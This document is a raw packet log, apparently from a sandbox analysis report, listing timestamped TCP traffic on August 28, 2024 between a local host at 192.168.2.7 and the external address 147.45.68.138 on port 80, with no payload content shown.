Aug 28, 2024 22:55:53.351392031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351403952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351413965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351424932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351440907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351457119 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351474047 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351484060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351500988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351511002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351512909 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351521015 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351531029 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351556063 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351619005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351629019 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351670027 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351679087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351684093 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351687908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.351700068 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.351722956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366091967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366103888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366115093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366127014 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366143942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366157055 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366216898 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366226912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366238117 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366246939 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366250038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366261005 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366270065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366272926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366302013 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366311073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366379976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366389036 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366400003 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366410971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366411924 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366425991 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366451025 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366571903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366580963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366590023 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366596937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366605997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366610050 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366617918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366622925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366630077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366648912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366660118 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366714954 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366724968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.366745949 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.366759062 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384619951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384645939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384663105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384668112 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384676933 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384681940 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384691000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384697914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384702921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384715080 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384718895 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384727001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384727955 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384743929 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384767056 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384776115 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384787083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384798050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384805918 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384814024 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384819984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384828091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384839058 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384841919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384852886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384855032 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384865046 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384880066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384886980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.384893894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384917974 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.384984970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385021925 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.385021925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385034084 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385056973 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.385103941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385114908 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385128021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385139942 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.385154963 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.385277033 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385288000 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385298967 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385309935 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385317087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.385323048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385333061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.385341883 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.385360956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.389301062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389312029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389343023 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.389354944 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.389365911 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389395952 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.389401913 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389414072 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389432907 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.389445066 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.389472961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389484882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389494896 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.389513016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.389527082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.391524076 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391535997 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391555071 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391566038 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391581059 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391581059 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.391592026 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391599894 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.391604900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391613960 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.391630888 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.391644955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.416477919 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416498899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416510105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416528940 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416548014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.416549921 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416563034 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416573048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416577101 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.416584969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.416610956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.416610956 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.416626930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436187029 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436212063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436223030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436244965 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436276913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436276913 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436295986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436315060 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436328888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436338902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436351061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436351061 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436351061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436363935 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436381102 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436386108 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436393976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436431885 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436439037 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436532974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436549902 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436561108 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436570883 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436572075 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436580896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436585903 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436595917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436605930 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436619997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436641932 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436646938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436656952 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436666965 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436678886 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436688900 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436691999 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436698914 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436714888 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436733961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436733961 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436753035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436763048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.436800003 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.436996937 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.437031031 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.437086105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.437124014 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.437129974 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.437143087 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.437163115 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.437170982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.437195063 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.437208891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.437218904 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.437231064 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.437256098 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.437267065 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438463926 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438476086 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438484907 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438512087 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438528061 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438536882 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438539982 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438549995 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438560963 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438565016 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438585997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438585997 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438590050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438601971 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438612938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438626051 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438628912 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438652039 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438677073 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438688993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438699961 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438711882 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438720942 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.438725948 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438741922 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.438750982 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.452811956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452824116 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452835083 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452846050 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452853918 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452864885 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452874899 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452879906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452886105 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452933073 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452944040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452954054 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452965021 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.452975035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453032970 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453044891 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453056097 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453059912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453059912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453059912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453059912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453059912 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453074932 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453084946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453084946 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453087091 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453099012 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453109980 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.453124046 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453135967 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.453161955 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.475152969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.475173950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.475184917 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.475198030 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.475213051 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.475225925 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.475235939 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:53.475322008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.475322008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.475322008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.475322008 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.565790892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:53.570677996 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:54.297342062 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:54.297580004 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:54.331151009 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:54.336051941 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:55.024652004 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:55.024790049 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:55.102520943 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:55.107656956 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:55.822014093 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:55.822093010 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:55.878509045 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:55.883486986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064342976 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064364910 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064377069 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064388990 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064420938 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064421892 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064431906 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064444065 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064450026 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064455986 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064466953 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064486980 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064496040 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064502001 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064527035 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064529896 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064538002 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064549923 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064562082 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064569950 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064577103 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064582109 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064593077 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064594984 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064605951 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064608097 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064637899 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064659119 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064671993 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064692020 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064693928 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064702988 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064714909 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064718962 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064732075 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064738035 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064768076 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064882994 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064898968 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064912081 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064918995 CEST	49731	80	192.168.2.7	147.45.68.138
Aug 28, 2024 22:55:56.064923048 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064934969 CEST	80	49731	147.45.68.138	192.168.2.7
Aug 28, 2024 22:55:56.064943075 CEST	49731	80	192.168.2.7	147.45.68.138
